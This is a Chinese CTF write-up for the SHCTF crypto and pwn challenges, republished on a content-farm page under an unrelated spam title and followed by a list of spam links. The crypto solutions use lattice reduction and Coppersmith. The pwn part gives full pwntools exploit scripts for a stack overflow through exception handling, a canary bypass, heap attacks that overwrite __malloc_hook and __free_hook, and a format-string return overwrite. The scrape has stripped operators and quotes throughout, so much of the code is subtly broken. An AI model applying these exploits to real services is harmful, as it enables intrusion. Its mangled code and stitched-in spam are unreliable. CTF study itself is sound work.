当前位置: 首页 > news >正文

平凉建设局网站wordpress建站企业

平凉建设局网站,wordpress建站企业,电子设计网站,网站制作价格范围一周不在家#xff0c;这是补的最后一篇。后边的还有0xgame和shctf的末周。打不动了。 Crypto Approximate_n 题目分两部分#xff0c;flag分两块两个RSA#xff0c;第1个泄露了4个n_approxkpr的值#xff0c;后边只泄露了1个。 第1部分利用以前的模板#xff0c;造格…一周不在家这是补的最后一篇。后边的还有0xgame和shctf的末周。打不动了。 Crypto Approximate_n 题目分两部分flag分两块两个RSA第1个泄露了4个n_approxkpr的值后边只泄露了1个。 第1部分利用以前的模板造格规约 Count 3 L Matrix(ZZ, Count, Count) K 2^247 L[0,0] K for i in range(1, Count):L[0,i] N1_reveal[i]L[i,i] -N1_reveal[0] res L.LLL()[0]p N1_reveal[0] // (abs(res[0]) // K) 然后第2部分只有1个就造不了了。后来一想这东西很小直接cooper试试结果出了。 P.x PolynomialRing(Zmod(N2)) f N2_reveal - x res f.small_roots(X2^247,beta0.4, epsilon0.01) r f(res[0]) p gcd(N2, N2_reveal-r) long_to_bytes(int(pow(C2,inverse_mod(65537,p-1),p))) 看WP应该是造这个 引用一下官我回头慢慢理解。 def solve2(N,N1,t,k,sys):var(x y)f N1-xQ_polys []for j in range(t 1):# print(max(k-j,0),min(j,k),max(j-k,0))x1,x2,x3 max(k-j,0),min(j,k),max(j-k,0)Q_polys.append(N^(max(k-j,0))*f^(min(j,k))*x^(max(j-k,0)))# print(Q_polys)len t1B []num 0for i in Q_polys:J i.coefficients()b [0*x for x in range(len)]for j in J:# print(j[0],j[1])b[j[1]] ZZ(j[0])*(2**sys)**ZZ(j[1])B.append(b[::-1])num1B matrix(QQ,B)solve_B B.LLL()print(We have find the right B_LLL)BB solve_B[0]a []for i in range(len):a.append(BB[i]//((2^sys)^(t-i)))f1 0for i in range(t1):f1 a[i]*x^(t-i)m f1.roots(multiplicitiesFalse)print(m)return m Lattice hint x*m^-1 mod n直接用hint和n造格  m*hint x kn  M matrix(ZZ, [[1,hint],[0,n]]) res M.LLL() m res[0][0] long_to_bytes(int(m))Shamir 门限方案。又是一个脑筋急转弯的题。这里没限制0也就是kn的情况所以直接输入0就得到m。后来看官方不是急转弯漏限制项应该写x%n0 die()。 正经的写就是取101个数然后矩阵给它求一下。可以用2开始的101个素数感觉随机数也行毕竟数很大不大可能谁是谁的因子。 from data import *M matrix(Zmod(n),101,101) val vector(Zmod(n),101)for i in range(101):for j in range(101):M[j,i] pow(s[i][0],j,n)val[i] s[i][1]res M.solve_left(val)#res[0] 2714383922841583342545410709520735557018424739022559024254636526541894241086845280356019548541 m res[0] from Crypto.Util.number import * print(long_to_bytes(int(m))) 官方方法是用拉格朗日插值法原来存过但还是不大会。这里x取的是1开始的101个数。 R.x PolynomialRing(Zmod(n))recover_f R.lagrange_polynomial(PT) m recover_f(0) flag long_to_bytes(int(m)) print(flag) babyLCG LCG参数全有但只给出高-80位。直接用2元cooper h [i80 for i in c] P.x1,x2 PolynomialRing(Zmod(p)) f a*(h[0]x1) b - h[1] - x2#2元 coopersmith res small_roots(f,bounds(2^80,2^80),2,3) #[(599252632492697576403405, 756741212306419214614221)]x1 res[0][0] m (h[0]x1-b)*inverse_mod(a,p)%p from Crypto.Util.number import * long_to_bytes(int(m)) #bSHCTF{1c6_M4y_mE4n5_Iou_don6_cAI_oa} baby_lock 这个没弄出来看了看WP。是v8下math.random的漏洞。不学了漏洞应该已经修补了。 大学×高中√ 一开始没想到怎么弄后来发现原来存了一个题是求tag(m)跟着倒过来。 这里的边K需要控制一下不过直接上1000也行。 acos arccos(leak) RR RealField(1000) pi RR(pi) #使pi更加精确for x in range(500,1000):K 2^xL Matrix(QQ,[[1,0,K],[0,2^(47*8),K*acos],[0,0,K*2*pi]])m abs(L.LLL()[0][0])v long_to_bytes(int(m))if b{ in v and b} in v:print(x,v)break#SHCTF{arcCo5_lEARNED_1n_hI9h_ScHOOI_usEd_laTEr} PWN Awakening of SKYNET 这是个c的程序当抛出异常时程序不会退出会沿着栈向前找catch所以直接通过写溢出跳过第1个catch让第2个带后门的catch捕获即可。代码很简单但是这个点不大常见。 from pwn import * context(archamd64, log_leveldebug)p remote(210.44.150.15, 28052)#掷出异常后,会向前回溯调用它的函数中的catch,执行catch里的代码 #func3的返回地址后func2有catch语句处理,将返回地址由func2改为func1将执行func1 catch里的后门程序 #弹出后的rbp会写入数据,保证 [rbp-0x18]可写 p.sendafter(b SKYNET: Input command: , b\0*0x20flat(0x405800, 0x402749))p.interactive() TUTo的服务器 有canary但是计数在后边通过写i跳过写尾位到后门。 from pwn import * context(archamd64,log_level debug)p remote(210.44.150.15, 29480)p.sendafter(bPlease enter the invitation code, bTUTo_shi_da_shuai_ge\0) p.sendafter(bPlease enter your name, b/bin/sh\0*(0xf*2))#\x37修改i跳到ret处修改后两字节到system(rbp-30) p.send(becho flag.ljust(16,b\0)b/bin/sh\0b\0*4 b\x37b\x8d\x53)p.interactive() ez_heap libc-2.23写one这个好辛苦。好老。 from pwn import * context(archamd64,log_level debug)libc ELF(./libc.so.6) elf ELF(./pwn)def add(size,msgbA):p.sendlineafter(bYour choice :, b1)p.sendlineafter(bNote size :, str(size).encode())p.sendafter(bContent :, msg)def free(idx):p.sendlineafter(bYour choice :, b2)p.sendlineafter(bIndex :, str(idx).encode())def show(idx):p.sendlineafter(bYour choice :, b3)p.sendlineafter(bIndex :, str(idx).encode())#p remote(47.97.58.52, 42003) p 0 def gao(one, off):global p #p process(./pwn)p remote(210.44.150.15, 25633)add(0x80)add(0x68)add(0x68)free(0)show(0)libc.address u64(p.recvline()[:-1].ljust(8, b\0)) - 0x3c4b78print(f{libc.address :x})oneaddr libc.address onefree(1)free(2)free(1)add(0x68, p64(libc.sym[__malloc_hook]- 0x23))add(0x68)add(0x68,b/bin/sh\0)add(0x68,b\0*0x13flat(oneaddr, libc.sym[realloc]off))#gdb.attach(p, b*0x5555555552ab\nc)p.sendlineafter(bYour choice :, b1)p.sendlineafter(bNote size :, str(0x68).encode())#p.sendline(bcat flag)#p.sendline(bcat flag)p.interactive()for v in [0x45226,0x4527a,0xf03a4,0xf1247][3:]:for v2 in [0,2,4,6,8,12,13,16]:gao(v,v2)ez_tcache uaf板子题先通过unsort得到libc再写system到__free_hook from pwn import * context(archamd64,log_level debug)libc ELF(./libc.so.6) elf ELF(./pwn)def add(idx, size,msgbA):p.sendlineafter(b , b1)p.sendlineafter(bIndex: , str(idx).encode())p.sendlineafter(bSize: , str(size).encode())p.sendafter(bplease input the tag: , msg) #0x20def free(idx):p.sendlineafter(b , str(0xffff).encode()) #uafp.sendlineafter(bIndex: , str(idx).encode())def show(idx):p.sendlineafter(b , b3)p.sendlineafter(bIndex: , str(idx).encode())def edit(idx, msg):p.sendlineafter(b , b4)p.sendlineafter(bIndex: , str(idx).encode())p.send(msg)#p process(./pwn) p remote(210.44.150.15, 26561)for i in range(8):add(i, 0xf8)for i in range(7,-1,-1):free(i)add(8, 0x20) edit(0, bA*0x10) show(0) libc.address u64(p.recvuntil(b\x7f)[-6:]b\0\0) - 0x3ebca0 print(f{libc.address :x})edit(0, flat(0,0xd1)) add(9, 0x20) free(8) free(9) edit(0, flat(0,0x31, libc.sym[__free_hook]))add(10, 0x20, b/bin/sh\0) add(11, 0x20, p64(libc.sym[system]))free(10) p.interactive() fmt_fmt 格式化字符串题栈内就比较好办了。先泄露栈地址再写ret from pwn import * context(archamd64,log_level debug)elf ELF(./pwn)p remote(210.44.150.15, 31252)p.sendlineafter(b3. exit, b2) p.sendlineafter(bwhich one do you want to talk to?, b8) p.sendafter(bwhat you want to say?, b%28$p,%29$p,\0) p.sendlineafter(b3. exit, b2) stack int(p.recvuntil(b,, dropTrue),16) - 8 elf.address int(p.recvuntil(b,, dropTrue),16) - 0x1443print(f{stack :x} {elf.address :x})p.sendlineafter(bwhich one do you want to talk to?, b8) p.sendafter(bwhat you want to say?, f%{(elf.address 0x1255)0xffff}c%8$hn.ljust(16,A).encode()p64(stack))p.sendlineafter(b3. exit, b2)p.interactive()
http://www.hkea.cn/news/14341161/

相关文章:

  • 用asp做网站需要什么软件wordpress 管理员登录
  • 广州站八个字页面设计包括插画吗
  • 学院二级网站建设方案模板WordPress的SEO插件安装失败
  • 网络营销人员应具备哪些技能东莞百度seo新网站快速排名
  • 网站建设如何查看后台数据库手机网站锁定竖屏看代码
  • 怎么做网站 先简单的聊一下wordpress 悬赏功能
  • 培训网站建设方案说明书智能建站大师官网平台
  • 中国域名后缀是什么系统优化软件排行榜
  • wordpress 目录 导航肇庆市seo网络推广
  • 建网站大概多少费用网站系统改教程
  • wordpress知名网站通过照片街景识别的地图
  • 智能ai写作免费网站厦门方易网站制作有限公司
  • 芜湖市住房和城乡建设厅网站湖北高端企业礼品定制
  • 无锡做网站365caiyi商标设计网站推荐
  • 公司网站的作用网站建设覀金手指科杰
  • 网站建设选青岛的公司好不好高埗仿做网站
  • wordpress悬浮刷新seo优化的内容有哪些
  • 营销型网站设计流程学院网站建设需求说明书
  • 宿迁市建设局网站维修基金wordpress调图片大小
  • 济阳网站建设哪家好网站建设怎么找到客户
  • wordpress文章归档 文章显示数量西安网站优化培训
  • 陆良建设局网站做百度企业网站有什么好处
  • 谷歌外贸网站seo怎么做wordpress安装遇到FTP
  • 网站建设是属于虚拟产品吗网站风格
  • 校园网站网站第三方统计工具
  • 个人网站名称大全wordpress流媒体
  • 东莞找公司网站做淘宝店铺标志的网站
  • 商务网站建设策划思路如何建设好网站
  • 网站开发软件排名河南网站建站系统平台
  • 电子商城网站建设流程家电电商平台排名